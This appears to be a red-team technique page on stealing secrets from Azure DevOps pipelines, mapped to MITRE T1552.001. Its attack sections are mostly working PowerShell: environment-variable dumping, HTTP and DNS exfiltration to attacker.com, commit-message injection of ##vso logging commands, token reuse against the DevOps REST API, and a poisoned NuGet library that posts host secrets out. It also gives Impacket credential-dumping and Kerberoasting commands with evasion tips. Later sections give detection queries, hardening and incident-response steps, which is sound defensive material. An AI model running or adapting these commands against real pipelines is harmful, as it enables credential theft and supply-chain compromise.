| Attribute | Details |
|---|---|
| Technique ID | CA-UNSC-015 |
| MITRE ATT&CK v18.1 | T1552.001 - Unsecured Credentials: Credentials In Files |
| Tactic | Credential Access |
| Platforms | Entra ID / Azure DevOps / DevOps |
| Severity | Critical |
| CVE | CVE-2023-21553 (Azure Pipelines logging command injection) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-06 |
| Affected Versions | Azure DevOps Services (all versions), Azure DevOps Server 2016-2025 |
| Patched In | CVE-2023-21553 patched Nov 2022; ongoing secret masking limitations remain |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team) and 12 (Sysmon Detection) not included because (1) T1552.001 testing varies by CI/CD platform, (2) Sysmon does not capture cloud pipeline execution events. Remaining sections have been dynamically renumbered.
Concept: Azure DevOps pipelines execute with access to sensitive environment variables, secrets, and predefined variables (e.g., System.AccessToken, SYSTEM_ACCESSTOKEN). Adversaries who gain code execution within a pipeline job can enumerate and exfiltrate these credentials directly from the runtime environment. The attack exploits the fundamental tension in CI/CD: secrets must be accessible to automated systems, creating exposure vectors through environment dumps, build logs, artifact inspection, and direct memory access.
Attack Surface: Azure DevOps pipeline agent runtime, build logs (stored in DevOps portal and accessible via logs), predefined variables accessible as environment variables, user-defined secret variables exposed during task execution, variable groups linked from Azure Key Vault.
Business Impact: Full Entra ID and downstream cloud infrastructure compromise. A single exposed System.AccessToken (OAuth token) grants API access to modify pipelines, queue builds, access artifacts, and potentially pivot to connected Azure subscriptions. Exposed Azure service principal credentials enable direct infrastructure compromise. Exposed API keys for NPM, GitHub, AWS credentials initiate supply chain attacks affecting thousands of downstream consumers.
Technical Context: This attack typically requires either (1) write access to pipeline code (via compromised developer account or PR merge), (2) execution within a shared build agent with insufficient isolation, or (3) exploitation of CVE-2023-21553 (injection via commit message). Once environment variables are enumerated, exfiltration is trivial—often bypassing detection due to how pipeline logs are handled.
env, printenv, Get-ChildItem Env:) and cannot be blocked without breaking pipelines| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.2.2, 2.2.1 | Secrets management, pipeline input validation |
| DISA STIG | WN10-AU-000500 | Absence of pipeline audit logging for credential access |
| CISA SCuBA | GCI-1.1 | Secure CI/CD Pipeline Controls |
| NIST 800-53 | AC-6 (Least Privilege), SC-7 (Boundary Protection), IA-5 (Authentication Mechanisms) | Restrict pipeline job permissions, isolate build agents, enforce secret rotation |
| GDPR | Art. 32 (Security of Processing) | Failure to encrypt credentials in transit/at rest |
| DORA | Art. 9 (Protection and Prevention) | ICT security tools and architecture to prevent unauthorized access |
| NIS2 | Art. 21.1 (Risk Management) | Measures to detect and respond to credential theft in supply chain |
| ISO 27001 | A.9.2.3 (User Access Management), A.9.4.1 (Information Access Restriction) | Management of privileged access rights, credential separation |
| ISO 27005 | 7.3.3 (Access Control Risk) | Risk of unauthorized credential disclosure in pipeline execution |
Required Privileges:
Required Access:
Supported Versions:
Tools:
env, grep, base64, curl (built-in on all agents)Supported Versions: All Azure DevOps versions; Windows agents
Objective: Enumerate all environment variables available in the running pipeline job context, including predefined variables automatically injected by Azure Pipelines.
Command:
Get-ChildItem Env: | Format-Table -AutoSize
Expected Output:
Name Value
---- -----
AGENT_ACCEPTTLS true
AGENT_BUILDDIRECTORY C:\agent_work\1
AGENT_ID 123
AGENT_JOBNAME Job
AGENT_JOBSTATUS Succeeded
AGENT_MACHINENAME AZUREPIPELINE-01
AGENT_NAME Hosted Agent
AGENT_OS Windows_NT
AGENT_OSARCHITECTURE X64
AGENT_TEMPDIRECTORY C:\agent_work\_temp
AGENT_TOOLSDIRECTORY C:\agent_work\_tools
AGENT_WORKFOLDER C:\agent_work
BUILD_ARTIFACTSTAGINGDIRECTORY C:\agent_work\1\a
BUILD_BUILDID 12345
BUILD_BUILDNUMBER 20250106.1
BUILD_DEFINITIONNAME MyPipeline
BUILD_DEFINITIONVERSION 5
BUILD_REPOSITORY_LOCALPATH C:\agent_work\1\s
BUILD_REPOSITORY_NAME MyRepo
BUILD_REPOSITORY_URI https://dev.azure.com/contoso/_git/MyRepo
BUILD_SOURCEBRANCH refs/heads/main
BUILD_SOURCEVERSIONMESSAGE "##vso[task.setvariable variable=SECRET]ABC123" (if CVE-2023-21553 exploited)
SYSTEM_ACCESSTOKEN eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM... (OAuth token)
SYSTEM_COLLECTIONURI https://dev.azure.com/contoso/
SYSTEM_TEAMPROJECT MyProject
SYSTEM_TEAMFOUNDATIONCOLLECTIONURI https://dev.azure.com/contoso/
SYSTEM_DEBUG false
TF_BUILD True
What This Means:
SYSTEM_ACCESSTOKEN (if present): Active OAuth token valid for current build pipelineBUILD_BUILDID, SYSTEM_TEAMPROJECT: Metadata for lateral movementBUILD_REPOSITORY_URI: GitOps repo locationMY_DB_PASSWORD) will also appearOpSec & Evasion:
Get-ChildItem Env: or env > file.txt is suspicious but may appear as diagnostic output$env:SYSTEM_ACCESSTOKEN) instead of dumping all, harder to detectSYSTEM_ACCESSTOKEN are not always maskedTroubleshooting:
System.AccessToken requires explicit enablement)/dev/shm (Linux) or %TEMP% (Windows) which should be writable by build service accountReferences & Proofs:
Objective: Identify high-value credentials from the full environment dump.
Command:
# Method 1: Filter by known keywords
$secrets = @("PASS", "TOKEN", "KEY", "SECRET", "CREDENTIAL", "API", "DATABASE", "AZURE")
Get-ChildItem Env: | Where-Object {
$name = $_.Name.ToUpper()
$value = $_.Value
$secrets | Where-Object { $name -match $_ -or $value -match "(^.{20,}$|^ey[A-Za-z0-9])" }
} | Select-Object Name, @{Name="Value";Expression={$_.Value.Substring(0, [Math]::Min(100, $_.Value.Length))}} | Format-Table
# Method 2: Dump to file for offline analysis
Get-ChildItem Env: | ForEach-Object { "$($_.Name)=$($_.Value)" } | Out-File -FilePath "env_dump.txt" -Encoding UTF8
[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((Get-Content "env_dump.txt" -Raw))) | Out-File "env_dump_b64.txt"
Expected Output:
Name Value
---- -----
SYSTEM_ACCESSTOKEN eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXB...
AZURE_DEVOPS_EXT_PAT pa3l7sdfj32sdfsdfhasdfjhljhsdfhjsdfkjhs7fhsdfsfsfs
NUGET_APIKEY NuGetApiKey9876543210ABCDEF
DATABASE_CONNECTION_STRING Server=tcp:db.database.windows.net;Database=MyDB;User Id=admin@sql;...
What This Means:
eyJ0eXAi...) indicates OAuth/SAML tokenpa (Personal Access Token)OpSec & Evasion:
References:
Objective: Extract credentials from pipeline environment to attacker-controlled exfiltration channel.
Command:
# Method 1: HTTP POST to attacker server
$credentials = @{
token = $env:SYSTEM_ACCESSTOKEN
pat = $env:AZURE_DEVOPS_EXT_PAT
db_conn = $env:DATABASE_CONNECTION_STRING
api_keys = Get-ChildItem Env: | Where-Object { $_.Name -match "API|KEY" } | ConvertTo-Json
}
$body = $credentials | ConvertTo-Json
Invoke-WebRequest -Uri "http://attacker.com/exfil" -Method POST -Body $body -ContentType "application/json" -UseBasicParsing
# Method 2: DNS exfiltration (stealthier, bypasses some egress filters)
$token_b64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($env:SYSTEM_ACCESSTOKEN))
$chunks = $token_b64 -split '(?<=\G.{30})(?=.)' # Split into 30-char chunks
foreach ($chunk in $chunks) {
Resolve-DnsName -Name "$chunk.attacker.com" -ErrorAction SilentlyContinue
}
# Method 3: Write to build artifact (accessible via portal UI)
$env:SYSTEM_ACCESSTOKEN | Out-File -FilePath "$(Build.ArtifactStagingDirectory)/token.txt"
$env:SYSTEM_ACCESSTOKEN | Out-File -FilePath "$(Agent.TempDirectory)/token.txt" # temp dir is accessible
Expected Output:
Status Code: 200
What This Means:
OpSec & Evasion:
Troubleshooting:
nslookup first; ensure attacker has DNS A record configured; use logging DNS service (dnslog.cn, burpcollab)References:
Supported Versions: Azure DevOps Services (patched Nov 2022); Server 2019-2022 vulnerable
Objective: Inject logging command into Build.SourceVersionMessage variable through Git commit message.
Preconditions:
Build.SourceVersionMessage in a script or echo it to logsCommand:
# Create malicious commit with special characters in message
git commit -m "##vso[task.setvariable variable=EXFIL_TOKEN;isSecret=false]$(SYSTEM_ACCESSTOKEN)" --allow-empty
git push origin main
# Alternative: Via pull request description (if reflected in logs)
# Create PR with description: ##vso[task.setvariable variable=EXFIL_TOKEN;]...
Expected Output:
[main 7a3c4d2] ##vso[task.setvariable variable=EXFIL_TOKEN;isSecret=false]...
What This Means:
##vso logging command syntaxEXFIL_TOKEN is now set and accessible in subsequent stepsOpSec & Evasion:
echo $(Build.SourceVersionMessage) in a script → logging command executes before logging is performedTroubleshooting:
References:
Objective: Demonstrate that the injected variable becomes accessible in the running pipeline.
Expected Pipeline Behavior:
When the pipeline runs after the malicious commit is merged:
steps:
- task: PowerShell@2
inputs:
targetType: 'inline'
script: |
# This step echoes the commit message, triggering the ##vso command
Write-Host "Commit: $(Build.SourceVersionMessage)"
# Output: Commit: ##vso[task.setvariable variable=EXFIL_TOKEN;isSecret=false]eyJ0eXAi...
- task: PowerShell@2
inputs:
targetType: 'inline'
script: |
# Now the variable is accessible
Write-Host "Token: $env:EXFIL_TOKEN"
# Output: Token: eyJ0eXAi...
Log Output:
##[section]Starting: PowerShell task
Commit: ##vso[task.setvariable variable=EXFIL_TOKEN;isSecret=false]eyJ0eXAiOiJKV1QiLCJhbGci...
##vso[task.setvariable variable=EXFIL_TOKEN;isSecret=false]eyJ0eXAiOiJKV1QiLCJhbGci...
Token: eyJ0eXAiOiJKV1QiLCJhbGci...
OpSec & Evasion:
Supported Versions: All Azure DevOps versions (Services, Server 2016-2025)
Objective: Extract credentials from variable group that is linked to Azure Key Vault.
Preconditions:
Command:
# Pipeline YAML that uses linked variable group
trigger:
- main
variables:
- group: KeyVaultSecrets # Linked to Azure Key Vault
pool:
vmImage: 'ubuntu-latest'
steps:
- task: PowerShell@2
inputs:
targetType: 'inline'
script: |
# Variables from Key Vault are automatically injected
Write-Host "Database connection string:"
Write-Host $env:DB_CONNECTION_STRING
Write-Host "API key:"
Write-Host $env:API_KEY
# Enumerate ALL variables from variable group
Get-ChildItem Env: | Where-Object {
$_.Name -match "DB_|API_|SECRET_"
} | ForEach-Object {
Write-Host "$($_.Name)=$($_.Value)"
}
Expected Output:
Database connection string:
Server=tcp:mydb.database.windows.net,1433;Initial Catalog=MyDB;Persist Security Info=False;User ID=admin@sql;Password=SuperSecretPassword123!@#;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;
API key:
Bearer sk_live_51A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P7Q8R9S0T1U2V3W4X5Y6Z7A8B9C0D1
What This Means:
OpSec & Evasion:
Troubleshooting:
References:
Objective: Use Azure DevOps REST API to enumerate variable groups without running a pipeline.
Preconditions:
Command:
# If running from pipeline, use System.AccessToken
$pat = $env:SYSTEM_ACCESSTOKEN
# Base64 encode PAT for Basic auth
$encodedPat = [Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes(":$pat"))
# Enumerate variable groups in project
$orgUrl = "https://dev.azure.com/contoso"
$project = "MyProject"
$url = "$orgUrl/$project/_apis/distributedtask/variablegroups?api-version=6.0-preview.2"
$response = Invoke-RestMethod -Uri $url -Headers @{Authorization="Basic $encodedPat"} -Method Get
# List all variable groups
$response.value | ForEach-Object {
Write-Host "Variable Group: $($_.name) (ID: $($_.id))"
}
# Get details of specific variable group (including secrets if not masked)
$groupId = $response.value[0].id
$groupUrl = "$orgUrl/$project/_apis/distributedtask/variablegroups/$groupId"
$groupDetails = Invoke-RestMethod -Uri $groupUrl -Headers @{Authorization="Basic $encodedPat"} -Method Get
$groupDetails.variables | ForEach-Object {
Write-Host "$($_.key)=$($_.value)"
}
Expected Output:
Variable Group: KeyVaultSecrets (ID: 12345)
Variable Group: DatabaseCreds (ID: 12346)
Variable Group: APIKeys (ID: 12347)
Get variable group details:
API_KEY=Bearer sk_live_51A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P7Q8R9S0T1U2V3W4X5Y6Z7A8B9C0D1
SECRET_KEY=SuperSecretPassword123!@#
What This Means:
OpSec & Evasion:
az pipelines variable-group list commandReferences:
Supported Versions: All Azure DevOps versions with audit logging enabled
Objective: Modify pipeline to add step that reads and exfiltrates secrets, relying on Azure logs not capturing token values.
Command:
# Use REST API to update pipeline definition
$pat = $env:SYSTEM_ACCESSTOKEN
$orgUrl = "https://dev.azure.com/contoso"
$project = "MyProject"
$pipelineId = 12345
# Get current pipeline definition
$pipelineUrl = "$orgUrl/$project/_apis/pipelines/$pipelineId?api-version=7.0-preview.1"
$currentPipeline = Invoke-RestMethod -Uri $pipelineUrl -Authentication Bearer -Token (ConvertTo-SecureString $pat -AsPlainText -Force) -Method Get
# Modify pipeline to add exfiltration step
$currentPipeline.configuration.resources.repositories.repository.refname = "refs/heads/malicious-branch"
$updateUrl = "$orgUrl/$project/_apis/pipelines/$pipelineId?api-version=7.0-preview.1"
Invoke-RestMethod -Uri $updateUrl -Authentication Bearer -Token (ConvertTo-SecureString $pat -AsPlainText -Force) -Method Put -Body ($currentPipeline | ConvertTo-Json) -ContentType "application/json"
# This triggers PipelineModified audit event, but the token is NOT logged
Expected Output:
Azure DevOps Audit Log:
- Action: PipelineModified
- PipelineId: 12345
- ModifiedBy: attacker@company.com
- Timestamp: 2026-01-06T10:30:00Z
- Details: Changed repository branch to refs/heads/malicious-branch
# (Note: Token value is NEVER logged)
What This Means:
OpSec & Evasion:
References:
Objective: After exfiltrating System.AccessToken, use it to access Azure DevOps resources and pivot to Azure infrastructure.
Command:
# Decode the token (without validation) to see claims
$token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGx..."
$tokenParts = $token.Split('.')
$payload = $tokenParts[1] + ('=' * (4 - $tokenParts[1].Length % 4)) # Add padding
$decodedPayload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload))
$claims = $decodedPayload | ConvertFrom-Json
Write-Host "Token claims:"
$claims | Format-Table
# Use token to list all projects in organization
$orgUrl = "https://dev.azure.com/contoso"
$headers = @{Authorization="Bearer $token"}
$response = Invoke-RestMethod -Uri "$orgUrl/_apis/projects?api-version=7.0" -Headers $headers
$response.value | ForEach-Object { Write-Host "Project: $($_.name)" }
# Use token to enumerate repos and clone them (source code theft)
$projectId = $response.value[0].id
$reposUrl = "$orgUrl/$projectId/_apis/git/repositories?api-version=7.0"
$repos = Invoke-RestMethod -Uri $reposUrl -Headers $headers
$repos.value | ForEach-Object {
Write-Host "Repo: $($_.name) - Clone URL: $($_.sshUrl)"
# git clone $_.sshUrl # (requires SSH key, not PAT)
}
# Use token to trigger pipeline builds (potential for supply chain attack)
$pipelineUrl = "$orgUrl/$projectId/_apis/pipelines/12345/runs?api-version=7.0-preview.1"
$buildBody = @{resources=@{repositories=@{self=@{refName="refs/heads/malicious-branch"}}}} | ConvertTo-Json
Invoke-RestMethod -Uri $pipelineUrl -Headers $headers -Method Post -Body $buildBody -ContentType "application/json"
Expected Output:
Token claims:
aud : https://dev.azure.com
iss : https://sts.windows.net/12345678-1234-1234-1234-123456789012/
oid : 87654321-4321-4321-4321-210987654321
sub : user@company.com
iat : 1640000000
exp : 1640003600
Project: MyProject
Project: SharedLibraries
Project: InternalTools
Repo: contoso-frontend - Clone URL: git@ssh.dev.azure.com:v3/contoso/MyProject/contoso-frontend
Repo: contoso-api - Clone URL: git@ssh.dev.azure.com:v3/contoso/MyProject/contoso-api
Build triggered successfully.
What This Means:
Objective: Use pipeline access to poison build artifacts that are consumed by downstream projects.
Command:
# Create malicious artifact
$maliciousCode = @"
namespace CompanyLib {
public class Logger {
static Logger() {
// Exfiltrate environment variables and system info
var env = System.Environment.GetEnvironmentVariables();
var payload = Newtonsoft.Json.JsonConvert.SerializeObject(new {
hostname = System.Net.Dns.GetHostName(),
user = System.Environment.UserName,
variables = env
});
using (var client = new System.Net.Http.HttpClient()) {
client.PostAsync("http://attacker.com/callback", new System.Net.Http.StringContent(payload)).Wait();
}
}
}
}
"@
# Add to build artifact (e.g., NuGet package, Docker image)
$maliciousCode | Out-File -FilePath "$(Build.ArtifactStagingDirectory)/Logger.cs"
# Package and publish
nuget pack package.nuspec -OutputDirectory "$(Build.ArtifactStagingDirectory)"
Invoke-RestMethod -Uri "https://api.nuget.org/v3/index.json" -Method Post -Headers @{Authorization="Bearer $(NUGET_APIKEY)"} -InFile "$(Build.ArtifactStagingDirectory)/*.nupkg"
Write-Host "Malicious artifact published successfully"
Expected Output:
Malicious artifact published successfully
Successfully published Package to https://www.nuget.org/packages/CompanyLib/1.0.1
What This Means:
References:
Version: Included with Windows agents; PowerShell 5.0+
Minimum Version: PS 5.0
Supported Platforms: Windows (Server 2016+), Linux (PowerShell 7+)
Installation:
# Already installed on Microsoft-hosted agents
# For self-hosted: Install PowerShell 5.0+ or 7.0+
Usage:
# Get all environment variables
Get-ChildItem Env: | Format-Table
# Set variable for downstream steps
Write-Host "##vso[task.setvariable variable=MyVar]MyValue"
# Mark variable as secret (masked in logs)
Write-Host "##vso[task.setvariable variable=MySecret;issecret=true]SecretValue"
Version: 0.9.8 (current)
Minimum Version: 0.9.0
Supported Platforms: Windows, macOS, Linux (with PowerShell 7)
Installation:
Install-Module -Name "AADInternals" -Force
Install-Module -Name "AADInternals-Endpoints" -Force # For endpoint-specific functions
Post-Exploitation: Extract Additional Credentials from System
Import-Module AADInternals
# Get access token for Azure Graph (using System.AccessToken)
$token = $env:SYSTEM_ACCESSTOKEN
Add-AADIntAccessTokenToCache -AccessToken $token
# List Azure subscriptions accessible to current service principal
Get-AADIntAzureSubscriptions
# If Azure credentials are cached, export them
Export-AADIntAzureCliTokens
# Extract credentials from Azure AD Connect (if running on AAD Connect server)
Get-AADIntSyncCredentials # Requires local admin on AAD Connect server
References:
Version: Latest
Supported Platforms: Linux, macOS
Use Case: After exfiltrating on-premises AD credentials
Installation (Linux):
pip install impacket
Usage: Access on-premises AD using stolen credentials
# Extract AD credentials from Azure AD Connect (if obtained)
secretsdump.py -just-dc 'DOMAIN/user:password@DC_IP'
# Kerberoasting (if domain user credentials obtained)
GetUserSPNs.py -request 'DOMAIN/user:password'
References:
Version: 2.40.0+
Supported Platforms: Windows, Linux, macOS
Usage: Access Azure resources using stolen token
# Authenticate using PAT or token
export AZURE_DEVOPS_EXT_PAT=<stolen_pat>
az devops project list --org https://dev.azure.com/contoso
# Alternatively, use access token for Azure Resource Manager
az login --username "attacker@company.com" --password "<token_if_supported>"
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName in ("Get-ChildItem Env:", "env", "printenv", "Get-Content")
or ActivityDetails contains "SYSTEM_ACCESSTOKEN"
or ActivityDetails contains "##vso[task.setvariable"
| where TimeGenerated > ago(1h)
| summarize count() by InitiatedBy, OperationName, bin(TimeGenerated, 5m)
| where count_ > 3 # Multiple envvar reads suspicious
| project TimeGenerated, InitiatedBy, OperationName, count_
Manual Configuration Steps (Azure Portal):
Suspicious Environment Variable Enumeration in PipelineHigh15 minutes1 hourWhat This Detects:
False Positive Analysis:
| where InitiatedBy != "DiagnosticAgent"Rule Configuration:
KQL Query:
AuditLogs
| where OperationName == "PipelineJobCompleted"
or ActivityDetails contains "##vso[task.setvariable"
or ActivityDetails contains "##vso[task.setsecret"
| where ActivityDetails matches regex @"##vso\[task\.(setvar|setsecret).*\(SYSTEM_ACCESSTOKEN|DB_|API_|SECRET_\)"
| project TimeGenerated, InitiatedBy, OperationName, ActivityDetails
| where TimeGenerated > ago(24h)
What This Detects:
Event ID: 4688 (Process Creation) - if logs forwarded
CommandLine contains "Get-ChildItem Env:" OR CommandLine contains "env" OR CommandLine contains "##vso"Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesMonitor for Process Creation with Suspicious Arguments:
PowerShell.exe with arguments containing: Get-ChildItem Env:, ConvertTo-Base64, $env:SYSTEM_ACCESSTOKEN
cmd.exe with arguments: env > file.txt, printenv | grep TOKEN
Restrict System.AccessToken Exposure: By default, System.AccessToken is NOT automatically available. Require explicit enablement.
Applies To Versions: All Azure DevOps versions
Manual Steps (Pipeline YAML - Recommended):
steps:
- task: PowerShell@2
inputs:
targetType: 'inline'
script: |
Write-Host "Token is only available via explicit mapping"
env:
# DO NOT include SYSTEM_ACCESSTOKEN unless absolutely necessary
# If needed:
# SYSTEM_ACCESSTOKEN: $(System.AccessToken)
Manual Steps (Classic Pipeline UI):
SYSTEM_ACCESSTOKEN=$(System.AccessToken)Manual Steps (Disable Token for Service Connections):
Implement Secret Masking in Logs: Ensure all secrets are properly marked as secrets, not as regular variables.
Manual Steps (Azure Portal):
Manual Steps (YAML):
variables:
- name: MyPassword
value: 'PlainPassword123' # This WILL appear in logs
- name: MySecret
value: 'SecretValue456'
secret: true # This will NOT appear in logs
Validation Command (Verify Masking):
# After pipeline runs, check build logs
# Secret variables should show as "***" in UI and portal logs
Enable Audit Logging for Variable Access:
Manual Steps (Azure DevOps Services):
Manual Steps (Azure DevOps Server 2022+):
Restrict Pipeline Edit Permissions:
Manual Steps (Project-level):
Use Variable Groups with Azure Key Vault Integration: Instead of storing secrets in pipeline, fetch from Key Vault at runtime with minimal exposure window.
Manual Steps:
Validation:
variables:
- group: KeyVaultSecrets # Linked group
steps:
- task: PowerShell@2
inputs:
script: |
# Secret available, but masked in logs
Write-Host "Using database password: $(DatabasePassword)"
Implement Conditional Access for Pipeline Execution:
Manual Steps (Azure Portal):
Block CI/CD from Non-Corporate IPUse Managed Identities for Azure Resource Access (Instead of Secrets):
Manual Steps:
Enable Sysmon on Self-Hosted Agents (for advanced logging):
Manual Steps (Windows Agent):
<Sysmon schemaversion="4.30">
<EventFiltering>
<ProcessCreate onmatch="include">
<CommandLine condition="contains any">Get-ChildItem Env:,env,printenv,$env:,##vso</CommandLine>
</ProcessCreate>
</EventFiltering>
</Sysmon>
sysmon64.exe -accepteula -i sysmon-config.xmlRBAC for Pipeline Service Principals: Limit Azure RBAC role to least privilege (avoid Contributor).
Manual Steps:
Microsoft.Resources/subscriptions/resourceGroups/readMicrosoft.Compute/virtualMachines/*/readMicrosoft.Authorization/roleAssignments/write)Require Pipeline Branch Protection: Block direct commits; require PRs with review.
Manual Steps:
Audit Variable Group Access: Monitor who reads variables.
Manual Steps:
PowerShell - Check if System.AccessToken is restricted:
# Run this INSIDE a pipeline job
if (-not (Test-Path Env:SYSTEM_ACCESSTOKEN)) {
Write-Host "✓ GOOD: System.AccessToken is NOT exposed by default"
} else {
Write-Host "✗ BAD: System.AccessToken is exposed! Restrict it immediately."
}
# Check for suspicious variables
$suspiciousVars = Get-ChildItem Env: | Where-Object {
$_.Name -match "PASSWORD|TOKEN|KEY|SECRET|CREDENTIAL|API"
}
if ($suspiciousVars.Count -eq 0) {
Write-Host "✓ GOOD: No high-risk variables found in environment"
} else {
Write-Host "✗ WARNING: Found $($suspiciousVars.Count) potentially sensitive variables"
$suspiciousVars | Format-Table
}
Expected Output (If Secure):
✓ GOOD: System.AccessToken is NOT exposed by default
✓ GOOD: No high-risk variables found in environment
env_dump.txt, env_dump_b64.txt (temporary files with environment dump)credentials.json, token.txt in build artifact staging directory~/.ssh/config modified with new SSH keysHKLM\Software\Microsoft\Windows\CurrentVersion\Run with suspicious entriesenv, printenv, Get-ChildItem Env: in pipeline jobsbase64, gzip, zip)/variablegroups/ endpointsC:\agent_work\ (Windows) or /home/vsts/work/ (Linux)C:\agent_work\_temp\ or /tmp/powershell.exe or bash contains environment variable valuesprocdump.exe or gcore for analysisIsolate:
Command (Disable Pipeline Immediately):
# Via REST API (requires admin PAT)
$pat = "your_pat_here"
$orgUrl = "https://dev.azure.com/contoso"
$project = "MyProject"
$pipelineId = 12345
$url = "$orgUrl/$project/_apis/pipelines/$pipelineId?api-version=7.0-preview.1"
$body = @{enabled=$false} | ConvertTo-Json
Invoke-RestMethod -Uri $url -Authentication Bearer -Token (ConvertTo-SecureString $pat -AsPlainText -Force) -Method Patch -Body $body -ContentType "application/json"
Manual (Azure Portal):
Revoke Compromised Credentials:
Command (Revoke PATs):
# List all PATs and revoke suspicious ones
az devops security token list --org https://dev.azure.com/contoso
az devops security token revoke --token-id "suspicious_token_id"
Manual (Azure Portal):
Command (Rotate Azure Service Principal):
# Revoke service connection certificate/secret
Remove-AzADAppCredential -ApplicationId "service_principal_id" -All
Collect Evidence:
Command (Export Pipeline Logs):
$pat = "your_pat_here"
$orgUrl = "https://dev.azure.com/contoso"
$project = "MyProject"
$pipelineId = 12345
$buildId = 999
# Get build logs
$url = "$orgUrl/$project/_apis/build/builds/$buildId/logs?api-version=7.0"
$logs = Invoke-RestMethod -Uri $url -Headers @{Authorization="Basic $(ConvertTo-Base64 ":$pat)"} -Method Get
$logs.value | ForEach-Object {
Invoke-WebRequest -Uri $_.url -OutFile "log_$($_.id).txt"
}
Manual (Azure Portal):
Remediate:
Command (Delete Malicious Pipeline Branch):
git branch -D malicious-branch
git push origin --delete malicious-branch
Manual (Repository UI):
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | T1199 - Trusted Relationship | Compromised developer account or PR merge |
| 2 | Persistence | T1133 - External Remote Services | Maintain access to DevOps portal via backdoor service connection |
| 3 | Privilege Escalation | T1098 - Account Manipulation | Add malicious service principal to project admin group |
| 4 | Credential Access | [CA-UNSC-015] Pipeline Environment Variables Theft | Extract System.AccessToken and secrets from running job |
| 5 | Lateral Movement | T1550.001 - Use Alternate Authentication Material: Application Access Token | Use stolen token to access Azure subscription |
| 6 | Exfiltration | T1041 - Exfiltration Over C2 Channel | Send credentials to attacker-controlled server |
| 7 | Impact | T1561.002 - Disk Wipe: Unsupported File Systems or Supply Chain Attack | Poison build artifacts or lock/delete resources |
npm installDifferences:
Exploitation:
# Server 2016-2019: Variables not masked in local logs
Get-ChildItem Env: | Out-File -FilePath "C:\Logs\env.txt" # Plaintext credentials in file
Differences:
Exploitation:
# Server 2022+: Direct env dump still works; masking applies to UI only
$json = @{env=(Get-ChildItem Env: | ConvertTo-Json)} | ConvertTo-Json
Invoke-WebRequest -Uri "http://attacker.com/" -Method POST -Body $json # Real values sent
Differences:
Best Detection: Cloud-based logging in Sentinel (see Section 7)